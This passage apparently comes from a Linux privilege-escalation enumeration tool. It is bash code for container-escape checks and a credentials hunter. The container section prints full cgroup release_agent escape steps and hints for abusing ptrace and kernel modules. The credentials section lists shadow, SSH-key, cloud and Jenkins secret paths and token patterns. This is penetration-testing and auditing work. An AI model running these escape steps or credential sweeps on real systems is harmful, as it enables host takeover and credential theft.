122 | print_critical " ${RED}mount -t cgroup -o memory cgroup /tmp/escape${NC}"
123 | print_critical " ${RED}mkdir -p payload${NC}"
124 | print_critical " ${RED}echo 1 > payload/notify_on_release${NC}"
125 | print_critical " ${RED}echo \"$\$\" > payload/release_agent${NC}"
126 | print_critical " ${RED}echo '#!/bin/sh' > /tmp/payload.sh${NC}"
127 | print_critical " ${RED}echo 'ps aux > /tmp/payload-output' >> /tmp/payload.sh${NC}"
128 | print_critical " ${RED}chmod +x /tmp/payload.sh${NC}"
129 | print_critical " ${RED}# Trigger the exploit${NC}"
130 | print_critical " ${RED}sh -c \"echo \\\$\\\$ > payload/cgroup.procs\"${NC}"
131 | ;;
132 | "cap_sys_ptrace")
133 | print_critical " ${RED}→ Exploitation method:${NC}"
134 | print_critical " ${RED}# Use ptrace to attach to host processes${NC}"
135 | print_critical " ${RED}ps -ef # Look for host processes${NC}"
136 | print_critical " ${RED}gdb -p PID # Attach to a process${NC}"
137 | ;;
138 | "cap_sys_module")
139 | print_critical " ${RED}→ Exploitation method:${NC}"
140 | print_critical " ${RED}# Load a kernel module to gain root access${NC}"
141 | print_critical " ${RED}echo 'int init_module() { return 0; }' > module.c${NC}"
142 | print_critical " ${RED}echo 'void cleanup_module() { }' >> module.c${NC}"
143 | print_critical " ${RED}# Compile and insmod the module${NC}"
144 | ;;
145 | esac
146 | fi
147 | done
148 |
149 | if [ $found_dangerous -eq 0 ]; then
150 | print_success "No dangerous capabilities found"
151 | fi
152 | elif [ -r /proc/self/status ]; then
153 | # Alternative method if capsh isn't available
154 | cap_eff=$(grep -i "^CapEff:" /proc/self/status 2>/dev/null | cut -f2)
155 |
156 | if [ -n "$cap_eff" ]; then
157 | # Check for dangerous capabilities using bit positions
158 | # Using a more reliable method that handles 64-bit integers
159 |
160 | found_dangerous=0
161 |
162 | # Map of capability bit positions
163 | # Based on linux/include/uapi/linux/capability.h
164 | declare -A cap_bits
165 | cap_bits["cap_sys_admin"]=21
166 | cap_bits["cap_sys_ptrace"]=19
167 | cap_bits["cap_sys_module"]=16
168 | cap_bits["cap_sys_rawio"]=17
169 | cap_bits["cap_sys_time"]=25
170 | cap_bits["cap_net_admin"]=12
171 | cap_bits["cap_dac_override"]=1
172 | cap_bits["cap_dac_read_search"]=2
173 | cap_bits["cap_chown"]=0
174 | cap_bits["cap_setuid"]=7
175 | cap_bits["cap_setgid"]=6
176 | cap_bits["cap_setfcap"]=31
177 |
178 | # Convert hex to binary for easier bit checking
179 | cap_bin=$(echo "ibase=16; obase=2; ${cap_eff^^}" | bc 2>/dev/null)
180 |
181 | if [ -n "$cap_bin" ]; then
182 | # Pad with leading zeros to ensure proper bit positions
183 | cap_bin=$(printf "%064s" "$cap_bin" | tr ' ' '0')
184 |
185 | for cap in "${!cap_bits[@]}"; do
186 | bit_pos=${cap_bits[$cap]}
187 | # Calculate the correct bit position from the right
188 | check_pos=$((${#cap_bin} - bit_pos - 1))
189 |
190 | # Check if the bit is set (1)
191 | if [ $check_pos -ge 0 ] && [ "${cap_bin:$check_pos:1}" = "1" ]; then
192 | found_dangerous=1
193 | print_critical "${RED}Container has dangerous capability: $cap${NC}"
194 | print_critical " ${RED}→ Potential impact: ${cap_exploits[$cap]}${NC}"
195 | fi
196 | done
197 | else
198 | # Fallback if bc is not available
199 | print_warning "${YELLOW}Container has capabilities, but can't decode them (bc not available)${NC}"
200 | print_warning " ${YELLOW}→ CapEff: $cap_eff${NC}"
201 |
202 | # Simple pattern-based checks for critical capability bits
203 | if [ "$cap_eff" != "0000000000000000" ] && [ "$cap_eff" != "0" ]; then
204 | # Check for common known patterns that indicate dangerous capabilities
205 | if [[ "$cap_eff" == *"0000001f"* ]] || [[ "$cap_eff" == *"ffffffff"* ]]; then
206 | print_critical "${RED}Container likely has dangerous capabilities (based on capability mask)${NC}"
207 | fi
208 | fi
209 | fi
210 |
211 | if [ $found_dangerous -eq 0 ]; then
212 | print_success "No dangerous capabilities found"
213 | fi
214 | else
215 | print_warning "Could not determine container capabilities"
216 | fi
217 | else
218 | print_warning "Could not determine container capabilities"
219 | fi
220 | }
221 |
222 | # Check for kernel modules that could be used for escape
223 | check_kernel_modules() {
224 | print_subtitle "Kernel Module Escape"
225 |
226 | print_info "Checking for kernel modules that could be exploited..."
227 |
228 | # Check if we're in a container
229 | if [ ! -f /.dockerenv ] && ! grep -q "docker\|lxc\|kubepods" /proc/1/cgroup 2>/dev/null; then
230 | print_success "Not running in a container, skipping check"
231 | return
232 | fi
233 |
234 | # Check if we have access to /proc
235 | if [ ! -r /proc/modules ]; then
236 | print_warning "Cannot access /proc/modules, skipping kernel module check"
237 | return
238 | fi
239 |
240 | # Dangerous modules that could be exploited
241 | dangerous_modules=("nf_nat" "xt_MASQUERADE" "overlay" "kvm" "vboxdrv" "vboxnetflt")
242 |
243 | # Check loaded modules
244 | loaded_dangerous=()
245 |
246 | for module in "${dangerous_modules[@]}"; do
247 | if grep -q "^$module " /proc/modules 2>/dev/null; then
248 | loaded_dangerous+=("$module")
249 | fi
250 | done
251 |
252 | # Report findings
253 | if [ ${#loaded_dangerous[@]} -gt 0 ]; then
254 | print_warning "${YELLOW}Found potentially exploitable kernel modules:${NC}"
255 | for module in "${loaded_dangerous[@]}"; do
256 | print_warning " ${YELLOW}→ $module${NC}"
257 | done
258 |
259 | # Specific exploitation advice for some modules
260 | for module in "${loaded_dangerous[@]}"; do
261 | case "$module" in
262 | "overlay")
263 | print_critical " ${RED}→ overlay module exploitation:${NC}"
264 | print_critical " ${RED}This module has had multiple vulnerabilities that allow container escape${NC}"
265 | print_critical " ${RED}Check for CVE-2021-30465, CVE-2021-3178${NC}"
266 | ;;
267 | "nf_nat" | "xt_MASQUERADE")
268 | print_warning " ${YELLOW}→ Networking modules might allow for network manipulation${NC}"
269 | ;;
270 | esac
271 | done
272 | else
273 | print_success "No obviously exploitable kernel modules found"
274 | fi
275 | }
276 |
277 | # Check for cgroup release_agent exploitation method
278 | check_cgroup_escape() {
279 | print_subtitle "CGroup Release_Agent Escape"
280 |
281 | print_info "Checking for cgroup release_agent escape vector..."
282 |
283 | # Check if we're in a container
284 | if [ ! -f /.dockerenv ] && ! grep -q "docker\|lxc\|kubepods" /proc/1/cgroup 2>/dev/null; then
285 | print_success "Not running in a container, skipping check"
286 | return
287 | fi
288 |
289 | # Check for CGROUPs mount with memory controller
290 | cgroup_mount=$(grep "cgroup" /proc/mounts | grep -E "memory|devices|freezer" | head -n1)
291 |
292 | if [ -n "$cgroup_mount" ]; then
293 | cgroup_path=$(echo "$cgroup_mount" | awk '{print $2}')
294 |
295 | if [ -d "$cgroup_path" ] && [ -w "$cgroup_path" ]; then
296 | print_critical "${RED}Writable cgroup mount point found: $cgroup_path${NC}"
297 | print_critical " ${RED}→ This might be exploitable for container escape via release_agent${NC}"
298 | print_critical " ${RED}→ Exploitation steps:${NC}"
299 | print_critical " ${RED}mkdir -p $cgroup_path/payload${NC}"
300 | print_critical " ${RED}echo 1 > $cgroup_path/payload/notify_on_release${NC}"
301 | print_critical " ${RED}host_path=\$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab)${NC}"
302 | print_critical " ${RED}echo \"\$host_path/cmd\" > $cgroup_path/release_agent${NC}"
303 | print_critical " ${RED}echo '#!/bin/sh' > /cmd${NC}"
304 | print_critical " ${RED}echo 'ps > /output' >> /cmd${NC}"
305 | print_critical " ${RED}chmod +x /cmd${NC}"
306 | print_critical " ${RED}sh -c \"echo \$\$ > $cgroup_path/payload/cgroup.procs\"${NC}"
307 | return
308 | fi
309 | fi
310 |
311 | # Alternative check - try to write to memory subsystem
312 | if [ -d "/sys/fs/cgroup/memory" ]; then
313 | if [ -w "/sys/fs/cgroup/memory" ]; then
314 | print_critical "${RED}Writable cgroup memory subsystem found: /sys/fs/cgroup/memory${NC}"
315 | print_critical " ${RED}→ This might be exploitable for container escape via release_agent${NC}"
316 | return
317 | fi
318 | fi
319 |
320 | print_success "No exploitable cgroup configuration found"
321 | }
322 |
323 | # Check for CVE-2019-5736 (runc vulnerability)
324 | check_runc_exploit() {
325 | print_subtitle "RunC Vulnerability (CVE-2019-5736)"
326 |
327 | print_info "Checking for indicators of CVE-2019-5736 runc vulnerability..."
328 |
329 | # Check if we're in a container
330 | if [ ! -f /.dockerenv ] && ! grep -q "docker\|lxc\|kubepods" /proc/1/cgroup 2>/dev/null; then
331 | print_success "Not running in a container, skipping check"
332 | return
333 | fi
334 |
335 | # Check Docker version if available
336 | if command_exists docker; then
337 | docker_version=$(docker --version 2>/dev/null | grep -oP "Docker version \K[0-9\.]+")
338 |
339 | if [ -n "$docker_version" ]; then
340 | if [[ "$(echo "$docker_version" | cut -d. -f1)" -lt "18" ]] ||
341 | [[ "$(echo "$docker_version" | cut -d. -f1)" -eq "18" && "$(echo "$docker_version" | cut -d. -f2)" -lt "9" ]]; then
342 | print_critical "${RED}Docker version $docker_version might be vulnerable to CVE-2019-5736${NC}"
343 | print_critical " ${RED}→ Vulnerable versions: Docker < 18.09.2${NC}"
344 | print_critical " ${RED}→ This container escape exploit can overwrite the host runc binary${NC}"
345 | else
346 | print_success "Docker version $docker_version is likely not vulnerable to CVE-2019-5736"
347 | fi
348 | fi
349 | fi
350 |
351 | # Check /proc/self/exe
352 | if [ -w "/proc/self/exe" ]; then
353 | print_critical "${RED}/proc/self/exe is writable, which may indicate vulnerability to CVE-2019-5736${NC}"
354 | fi
355 |
356 | # Check runc binary
357 | if [ -f "/usr/bin/runc" ] || [ -f "/usr/sbin/runc" ]; then
358 | runc_path=$(which runc 2>/dev/null)
359 |
360 | if [ -n "$runc_path" ]; then
361 | runc_version=$(runc --version 2>/dev/null | grep -oP "runc version \K[0-9\.]+")
362 |
363 | if [ -n "$runc_version" ]; then
364 | if [[ "$(echo "$runc_version" | cut -d. -f1)" -lt "1" ]] ||
365 | [[ "$(echo "$runc_version" | cut -d. -f1)" -eq "1" && "$(echo "$runc_version" | cut -d. -f2)" -eq "0" && "$(echo "$runc_version" | cut -d. -f3)" -lt "0" ]] ||
366 | [[ "$runc_version" == "1.0.0-rc6" ]] || [[ "$runc_version" == "1.0.0-rc5" ]] || [[ "$runc_version" == "1.0.0-rc4" ]] || [[ "$runc_version" == "1.0.0-rc3" ]] || [[ "$runc_version" == "1.0.0-rc2" ]] || [[ "$runc_version" == "1.0.0-rc1" ]]; then
367 | print_critical "${RED}RunC version $runc_version is vulnerable to CVE-2019-5736${NC}"
368 | print_critical " ${RED}→ This container escape exploit can overwrite the host runc binary${NC}"
369 | else
370 | print_success "RunC version $runc_version is not vulnerable to CVE-2019-5736"
371 | fi
372 | else
373 | print_warning "${YELLOW}RunC found but couldn't determine version${NC}"
374 | fi
375 | fi
376 | fi
377 | }
378 |
379 | # Check for access to host namespaces
380 | check_namespace_exposure() {
381 | print_subtitle "Namespace Exposure"
382 |
383 | print_info "Checking for exposure to host namespaces..."
384 |
385 | # Check if we're in a container
386 | if [ ! -f /.dockerenv ] && ! grep -q "docker\|lxc\|kubepods" /proc/1/cgroup 2>/dev/null; then
387 | print_success "Not running in a container, skipping check"
388 | return
389 | fi
390 |
391 | # Check for shared namespaces with host
392 | shared_ns=()
393 |
394 | # Check each namespace type
395 | ns_types=("ipc" "net" "pid" "user" "uts")
396 |
397 | for ns in "${ns_types[@]}"; do
398 | # Check if namespace is shared with host
399 | if [ -L "/proc/1/ns/$ns" ] && [ -L "/proc/self/ns/$ns" ]; then
400 | host_ns=$(readlink "/proc/1/ns/$ns" 2>/dev/null)
401 | container_ns=$(readlink "/proc/self/ns/$ns" 2>/dev/null)
402 |
403 | if [ "$host_ns" = "$container_ns" ]; then
404 | shared_ns+=("$ns")
405 | fi
406 | fi
407 | done
408 |
409 | # Report shared namespaces
410 | if [ ${#shared_ns[@]} -gt 0 ]; then
411 | print_critical "${RED}Container shares namespaces with host:${NC}"
412 |
413 | for ns in "${shared_ns[@]}"; do
414 | print_critical " ${RED}→ $ns namespace${NC}"
415 |
416 | # Specific advice based on namespace type
417 | case "$ns" in
418 | "net")
419 | print_critical " ${RED}→ Network namespace shared: Container can access host network interfaces${NC}"
420 | print_critical " ${RED}→ Can potentially sniff host traffic or access services bound to localhost${NC}"
421 | ;;
422 | "pid")
423 | print_critical " ${RED}→ PID namespace shared: Container can see and potentially interact with host processes${NC}"
424 | print_critical " ${RED}→ Try: ps aux | grep -v 'container\|docker'${NC}"
425 | ;;
426 | "user")
427 | print_critical " ${RED}→ User namespace shared: Container may have same user privileges as host${NC}"
428 | ;;
429 | "ipc")
430 | print_critical " ${RED}→ IPC namespace shared: Container can communicate with host processes via IPC${NC}"
431 | ;;
432 | "uts")
433 | print_critical " ${RED}→ UTS namespace shared: Container shares hostname with host${NC}"
434 | ;;
435 | esac
436 | done
437 | else
438 | print_success "Container appears to have proper namespace isolation"
439 | fi
440 | }
441 |
442 | # Run all container escape checks
443 | container_escape_checks() {
444 | print_title "Container Escape Vectors"
445 |
446 | # Run all container escape checks
447 | check_mounted_filesystems
448 | check_dangerous_capabilities
449 | check_kernel_modules
450 | check_cgroup_escape
451 | check_runc_exploit
452 | check_namespace_exposure
453 |
454 | # Wait for user if wait mode is enabled
455 | wait_for_user
456 | }
--------------------------------------------------------------------------------
/modules/credentials/credentials_hunter.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Title: Credentials Hunter
4 | # Description: Search for passwords, API keys, and sensitive information throughout the system
5 | # Author: Jonas Resch
6 |
7 | # Define credential patterns with improved accuracy
8 | # Format: "name|regex_pattern|context_lines|critical"
9 | CREDENTIAL_PATTERNS=(
10 | "AWS Access Key|AKIA[0-9A-Z]{16}|2|1"
11 | "AWS Secret Key|[0-9a-zA-Z/+]{40}|2|1"
12 | "SSH Private Key|-----BEGIN( RSA| OPENSSH| DSA| EC)?\\s?PRIVATE KEY|5|1"
13 | "PGP Private Key|-----BEGIN PGP PRIVATE|5|1"
14 | "Google API Key|AIza[0-9A-Za-z_-]{35}|2|1"
15 | "Google OAuth|[0-9]+-[0-9A-Za-z_]{32}\\.apps\\.googleusercontent\\.com|2|1"
16 | "Slack Token|xox[pbar]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32}|2|1"
17 | "GitHub Token|gh[ps]_[0-9a-zA-Z]{36}|2|1"
18 | "Basic Auth|Authorization:\\s*Basic\\s+[a-zA-Z0-9+/=]{5,100}|2|1"
19 | "Bearer Token|Authorization:\\s*Bearer\\s+[a-zA-Z0-9_\\.-]+|2|1"
20 | "API Key|['\"](api[_-]?key|apikey)['\"]:?\\s*['\"]((?!placeholder|example|your-api-key)[a-zA-Z0-9_\\.-]{10,64})['\"]|2|1"
21 | "MongoDB Connection|mongodb(\\+srv)?://[^@]+@[a-zA-Z0-9.-]+|3|1"
22 | "JWT Token|eyJ[a-zA-Z0-9_-]{10,}\\.eyJ[a-zA-Z0-9_-]{10,}\\.[a-zA-Z0-9_-]{10,}|2|1"
23 | "Firebase URL|https?://[a-zA-Z0-9-]+\\.firebaseio\\.com|2|1"
24 | "Azure Storage Key|DefaultEndpointsProtocol=https;AccountName=[^;]+;AccountKey=[a-zA-Z0-9+/=]{40,}|2|1"
25 | "Private Key File|\\.(key|pem|ppk|p12|pfx|jks|keystore)$|0|1"
26 | )
27 |
28 | # List of common credential file locations - prioritized and more specific
29 | CREDENTIAL_FILES=(
30 | "/etc/shadow"
31 | "/etc/passwd"
32 | "/etc/sudoers"
33 | "/etc/sudoers.d/*"
34 | "/root/.ssh/id_*"
35 | "/root/.aws/credentials"
36 | "/root/.aws/config"
37 | "/home/*/.ssh/id_*"
38 | "/home/*/.ssh/authorized_keys"
39 | "/home/*/.aws/credentials"
40 | "/home/*/.aws/config"
41 | "/home/*/.git-credentials"
42 | "/home/*/.docker/config.json"
43 | "/home/*/.kube/config"
44 | "/home/*/.terraform.d/credentials*"
45 | "/var/www/*/.env"
46 | "/var/www/*/wp-config.php"
47 | "/var/www/*/config.php"
48 | "/var/lib/jenkins/credentials.xml"
49 | "/var/lib/jenkins/secrets/master.key"
50 | "/docker-compose*.y*ml"
51 | "/.env"
52 | "./*.env"
53 | "/tmp/testcreds.sh" # Added for testing
54 | "/tmp/*.sh" # Added for testing
55 | )
56 |
57 | # Excluded paths for credential searches
58 | EXCLUDED_PATHS=(
59 | "/usr/share"
60 | "/usr/lib"
61 | "/lib"
62 | "/lib64"
63 | "/var/lib"
64 | "/var/cache"
65 | "/var/log"
66 | "/.cursor"
67 | "/.local/share/Trash"
68 | "/.cache"
69 | "/.config/google-chrome"
70 | "/.config/chromium"
71 | "/.config/BraveSoftware"
72 | "/.mozilla"
73 | "/EscalateX"
74 | "/proc"
75 | "/sys"
76 | "/run"
77 | "/dev"
78 | "/var/tmp"
79 | "/tmp"
80 | "node_modules"
81 | "venv"
82 | ".venv"
83 | "__pycache__"
84 | ".npm"
85 | ".gradle"
86 | ".m2"
87 | )
88 |
89 | # File size threshold in bytes (1MB)
90 | MAX_FILE_SIZE=1048576
91 |
92 | # Build excluded paths argument for find command
93 | build_exclusion_args() {
94 | local excl_args=""
95 | for path in "${EXCLUDED_PATHS[@]}"; do
96 | excl_args="$excl_args -path \"*$path*\" -o "
97 | done
98 | # Remove the trailing "-o " and add "-prune -o " at the end
99 | excl_args=$(echo "$excl_args" | sed 's/ -o $//g')
100 | echo "$excl_args -prune -o"
101 | }
102 |
103 | # Function to mask sensitive data
104 | mask_sensitive_data() {
105 | local input="$1"
106 | # Mask passwords, keys, tokens while preserving variable names
107 | echo "$input" | sed -E 's/(password|token|secret|key|credentials)[=:]["'"'"']?([^"'"'"' :]+)/\1=********/gi'
108 | }
109 |
110 | # Scan for files containing credentials
111 | check_credential_files() {
112 | print_subtitle "Critical Credential Files"
113 |
114 | print_info "Scanning for sensitive credential files..."
115 |
116 | # Process each file pattern from CREDENTIAL_FILES
117 | for file_pattern in "${CREDENTIAL_FILES[@]}"; do
118 | # Handle wildcard patterns
119 | if [[ "$file_pattern" == *"*"* ]]; then
120 | # Use eval to properly expand the glob pattern
121 | eval "files=($file_pattern)"
122 | for file in "${files[@]}"; do
123 | if [ -f "$file" ] && [ -r "$file" ]; then
124 | check_credential_file "$file"
125 | fi
126 | done
127 | else
128 | # Regular file
129 | if [ -f "$file_pattern" ] && [ -r "$file_pattern" ]; then
130 | check_credential_file "$file_pattern"
131 | fi
132 | fi
133 | done
134 | }
135 |
136 | # Helper function to check a single credential file
137 | check_credential_file() {
138 | local file="$1"
139 |
140 | # Skip if file is too large
141 | local file_size=$(stat -c%s "$file" 2>/dev/null || echo "0")
142 | if [ "$file_size" -gt "$MAX_FILE_SIZE" ]; then
143 | print_warning "Skipping large file: $file ($(( file_size / 1024 )) KB)"
144 | return
145 | fi
146 |
147 | # Skip binary files
148 | if file "$file" | grep -q "binary"; then
149 | return
150 | fi
151 |
152 | # Analyze file based on its type
153 | case "$file" in
154 | *"/shadow")
155 | print_critical "Found shadow password file: ${RED}$file${NC}"
156 | grep -v '^[^:]*:[*!]' "$file" 2>/dev/null | head -n 5 | grep ":" | while read -r line; do
157 | user=$(echo "$line" | cut -d: -f1)
158 | print_critical " ${RED}→ User '$user' has password hash${NC}"
159 | done
160 | ;;
161 |
162 | *"/id_rsa"|*"/id_dsa"|*"/id_ecdsa"|*"/id_ed25519")
163 | print_critical "Found SSH private key: ${RED}$file${NC}"
164 | local key_header=$(head -n 1 "$file" 2>/dev/null)
165 | local key_owner=$(stat -c "%U" "$file" 2>/dev/null)
166 | print_critical " ${RED}→ Type: $key_header${NC}"
167 | print_critical " ${RED}→ Owner: $key_owner${NC}"
168 | print_critical " ${RED}→ Permissions: $(stat -c "%a" "$file" 2>/dev/null)${NC}"
169 | ;;
170 |
171 | *"/aws/credentials"|*"/.aws/config")
172 | print_critical "Found AWS credentials: ${RED}$file${NC}"
173 | grep -A 2 -B 1 "aws_" "$file" 2>/dev/null | grep -v "^--$" | while read -r line; do
174 | masked_line=$(mask_sensitive_data "$line")
175 | print_critical " ${RED}→ $masked_line${NC}"
176 | done
177 | ;;
178 |
179 | *"/.kube/config")
180 | print_critical "Found Kubernetes config: ${RED}$file${NC}"
181 | grep -A 1 "token:" "$file" 2>/dev/null | grep -v "^--$" | while read -r line; do
182 | masked_line=$(mask_sensitive_data "$line")
183 | print_critical " ${RED}→ $masked_line${NC}"
184 | done
185 | ;;
186 |
187 | *"wp-config.php"|*"config.php")
188 | print_critical "Found PHP configuration with credentials: ${RED}$file${NC}"
189 | grep -E "(DB_PASSWORD|password|NONCE|SALT|KEY)" "$file" 2>/dev/null | grep -v "//" | head -n 5 | while read -r line; do
190 | masked_line=$(mask_sensitive_data "$line")
191 | print_critical " ${RED}→ $masked_line${NC}"
192 | done
193 | ;;
194 |
195 | *"/.env"|*"docker-compose"*)
196 | print_critical "Found environment file with credentials: ${RED}$file${NC}"
197 | grep -E "(PASSWORD|SECRET|TOKEN|KEY|CREDENTIAL)" "$file" 2>/dev/null | grep -v "^#" | head -n 5 | while read -r line; do
198 | masked_line=$(mask_sensitive_data "$line")
199 | print_critical " ${RED}→ $masked_line${NC}"
200 | done
201 | ;;
202 |
203 | "/tmp/testcreds.sh"|*"/tmp/*.sh")
204 | # Special handling for our test file or other scripts
205 | if grep -q -E "AWS_|TOKEN|SECRET|PASSWORD|CREDENTIAL" "$file" 2>/dev/null; then
206 | print_critical "Found credentials in shell script: ${RED}$file${NC}"
207 | grep -E "AWS_|TOKEN|SECRET|PASSWORD|CREDENTIAL" "$file" 2>/dev/null | while read -r line; do
208 | masked_line=$(mask_sensitive_data "$line")
209 | print_critical " ${RED}→ $masked_line${NC}"
210 | done
211 | fi
212 | ;;
213 |
214 | *)
215 | # Generic sensitive file detection
216 | print_warning "Found potential credential file: ${YELLOW}$file${NC}"
217 | grep -E "(password|secret|token|key|credential|user|login)" "$file" 2>/dev/null | grep -v "^#" | head -n 3 | while read -r line; do
218 | masked_line=$(mask_sensitive_data "$line")
219 | print_warning " ${YELLOW}→ $masked_line${NC}"
220 | done
221 | ;;
222 | esac
223 | }
224 |
225 | # Scan for credentials in history files
226 | check_history_files() {
227 | print_subtitle "Shell History Analysis"
228 |
229 | print_info "Checking shell history files for credentials..."
230 |
231 | # History files to check
232 | local history_files=(
233 | "$HOME/.bash_history"
234 | "$HOME/.zsh_history"
235 | "$HOME/.history"
236 | "$HOME/.mysql_history"
237 | "$HOME/.psql_history"
238 | )
239 |
240 | # Strong patterns for credential commands - more specific to reduce false positives
241 | local history_patterns=(
242 | "[-][-]password=[^ ]+"
243 | "curl.*[-]u .*:.*"
244 | "wget.*[-][-]password=[^ ]+"
245 | "mysql .*[-]p[a-zA-Z0-9]+"
246 | "psql .*[-]W.*password"
247 | "sshpass [-]p [^ ]+"
248 | "git clone https://[^@]+:[^@]+@"
249 | "git push https://[^@]+:[^@]+@"
250 | "export +[A-Z_]*TOKEN=[^ ]+"
251 | "export +[A-Z_]*SECRET=[^ ]+"
252 | "export +[A-Z_]*PASSWORD=[^ ]+"
253 | "export +[A-Z_]*KEY=[^ ]+"
254 | "aws configure set aws_access_key_id"
255 | "aws configure set aws_secret_access_key"
256 | "aws .* --secret"
257 | "openssl .* -pass"
258 | "heroku auth:token"
259 | "gh auth login"
260 | "htpasswd [-]b .* [^ ]+"
261 | )
262 |
263 | # List of patterns to exclude as false positives
264 | local false_positive_patterns=(
265 | "github.com/[^:]+$"
266 | "gitlab.com/[^:]+$"
267 | "bitbucket.org/[^:]+$"
268 | "password-stdin"
269 | "echo.*password"
270 | "password="
271 | "SECRET=dummy"
272 | )
273 |
274 | for file in "${history_files[@]}"; do
275 | if [ -r "$file" ]; then
276 | print_warning "Found history file: ${YELLOW}$file${NC}"
277 |
278 | # Build regex pattern for grep
279 | local pattern=$(echo "${history_patterns[@]}" | tr ' ' '|')
280 |
281 | # Find matching lines
282 | found_creds=0
283 | grep -n -E "$pattern" "$file" 2>/dev/null | head -n 20 | while read -r line; do
284 | line_num=${line%%:*}
285 | line_content=${line#*:}
286 |
287 | # Skip if line is too short or just a command name
288 | if [ ${#line_content} -lt 10 ] || echo "$line_content" | grep -qE "^(curl|wget|mysql|psql|ssh|git)$"; then
289 | continue
290 | fi
291 |
292 | # Check for false positives
293 | is_false_positive=0
294 | for fp in "${false_positive_patterns[@]}"; do
295 | if echo "$line_content" | grep -q "$fp"; then
296 | is_false_positive=1
297 | break
298 | fi
299 | done
300 |
301 | # Skip basic git clones without credentials
302 | if echo "$line_content" | grep -qE "^git clone https://github.com/|^git clone https://gitlab.com/"; then
303 | # Only skip if it doesn't have credentials in the URL
304 | if ! echo "$line_content" | grep -qE "@github.com|@gitlab.com"; then
305 | is_false_positive=1
306 | fi
307 | fi
308 |
309 | if [ $is_false_positive -eq 0 ]; then
310 | # Check if command looks like it has sensitive data
311 | if echo "$line_content" | grep -qiE "(password|token|secret|key|pass|cred|auth|login)"; then
312 | # Mask sensitive information
313 | masked_line=$(mask_sensitive_data "$line_content")
314 | print_warning "Found credential command in history (line $line_num): ${YELLOW}$masked_line${NC}"
315 | found_creds=1
316 | elif echo "$line_content" | grep -qE -- "-p[^ ]|--password="; then
317 | # Commands with password params
318 | masked_line=$(mask_sensitive_data "$line_content")
319 | print_warning "Found credential command in history (line $line_num): ${YELLOW}$masked_line${NC}"
320 | found_creds=1
321 | fi
322 | fi
323 | done
324 |
325 | # Check if any real credentials were found
326 | if [ $found_creds -eq 0 ]; then
327 | print_success "No obvious credentials found in history file."
328 | fi
329 | fi
330 | done
331 | }
332 |
333 | # Scan for database credentials
334 | check_db_credentials() {
335 | print_subtitle "Database Credentials"
336 |
337 | print_info "Searching for database credentials..."
338 |
339 | # Check for MySQL credentials in common locations
340 | local mysql_conf_files=(
341 | "/etc/mysql/my.cnf"
342 | "/etc/my.cnf"
343 | "$HOME/.my.cnf"
344 | "/var/www/*/.my.cnf"
345 | )
346 |
347 | for pattern in "${mysql_conf_files[@]}"; do
348 | # Handle wildcard patterns
349 | if [[ "$pattern" == *"*"* ]]; then
350 | eval "files=($pattern)"
351 | for file in "${files[@]}"; do
352 | if [ -f "$file" ] && [ -r "$file" ]; then
353 | print_warning "Found MySQL configuration: ${YELLOW}$file${NC}"
354 | grep -E "^[[:space:]]*(user|password|host)" "$file" 2>/dev/null | grep -v "^#" | while read -r line; do
355 | masked_line=$(mask_sensitive_data "$line")
356 | print_critical " ${RED}→ $masked_line${NC}"
357 | done
358 | fi
359 | done
360 | else
361 | if [ -f "$pattern" ] && [ -r "$pattern" ]; then
362 | print_warning "Found MySQL configuration: ${YELLOW}$pattern${NC}"
363 | grep -E "^[[:space:]]*(user|password|host)" "$pattern" 2>/dev/null | grep -v "^#" | while read -r line; do
364 | masked_line=$(mask_sensitive_data "$line")
365 | print_critical " ${RED}→ $masked_line${NC}"
366 | done
367 | fi
368 | fi
369 | done
370 |
371 | # PostgreSQL credentials
372 | local pgpass_files=(
373 | "/var/lib/pgsql/.pgpass"
374 | "/var/lib/postgresql/.pgpass"
375 | "$HOME/.pgpass"
376 | )
377 |
378 | for file in "${pgpass_files[@]}"; do
379 | if [ -f "$file" ] && [ -r "$file" ]; then
380 | print_critical "Found PostgreSQL password file: ${RED}$file${NC}"
381 | cat "$file" 2>/dev/null | head -n 5 | while read -r line; do
382 | # Format: hostname:port:database:username:password
383 | # Only display hostname, database and username, mask the password
384 | if [ -n "$line" ] && [[ "$line" == *":"* ]]; then
385 | host=$(echo "$line" | cut -d: -f1)
386 | db=$(echo "$line" | cut -d: -f3)
387 | user=$(echo "$line" | cut -d: -f4)
388 | print_critical " ${RED}→ Host: $host, DB: $db, User: $user, Password: ********${NC}"
389 | else
390 | print_critical " ${RED}→ $line${NC}"
391 | fi
392 | done
393 | fi
394 | done
395 |
396 | # MongoDB credentials
397 | find "/etc" -maxdepth 2 -name "mongodb*.conf" 2>/dev/null | while read -r file; do
398 | if [ -r "$file" ]; then
399 | print_warning "Found MongoDB configuration: ${YELLOW}$file${NC}"
400 | grep -E "^[[:space:]]*(auth|security.authorization|setParameter.authenticationMechanisms)" "$file" 2>/dev/null | while read -r line; do
401 | print_warning " ${YELLOW}→ $line${NC}"
402 | done
403 | fi
404 | done
405 | }
406 |
407 | # Scan for cloud credentials
408 | check_cloud_credentials() {
409 | print_subtitle "Cloud Service Credentials"
410 |
411 | print_info "Searching for cloud service credentials..."
412 |
413 | # AWS credentials
414 | if [ -d "$HOME/.aws" ]; then
415 | aws_files=$(find "$HOME/.aws" -type f -name "credentials" -o -name "config" 2>/dev/null)
416 | if [ -n "$aws_files" ]; then
417 | print_critical "Found AWS credential files:"
418 | echo "$aws_files" | while read -r file; do
419 | if [ -r "$file" ]; then
420 | print_critical " ${RED}→ $file${NC}"
421 | # Look for profiles
422 | grep -E "^\[" "$file" 2>/dev/null | while read -r profile; do
423 | print_critical " ${RED}→ Profile: $profile${NC}"
424 | done
425 | # Look for access keys (only show partially masked)
426 | if grep -q "aws_access_key_id" "$file" 2>/dev/null; then
427 | access_keys=$(grep -E "aws_access_key_id" "$file" 2>/dev/null | sed -E 's/.*aws_access_key_id[[:space:]]*=[[:space:]]*([A-Z0-9]+).*/\1/')
428 | for key in $access_keys; do
429 | # Show first 4 and last 4 characters, mask the middle
430 | if [ ${#key} -gt 8 ]; then
431 | start=${key:0:4}
432 | end=${key: -4}
433 | masked="${start}****${end}"
434 | print_critical " ${RED}→ Access Key: ${masked}${NC}"
435 | fi
436 | done
437 | fi
438 | fi
439 | done
440 | else
441 | print_success "AWS credentials directory exists but no credential files found."
442 | fi
443 | else
444 | print_success "No AWS credentials directory found."
445 | fi
446 |
447 | # GCP credentials
448 | if [ -d "$HOME/.config/gcloud" ]; then
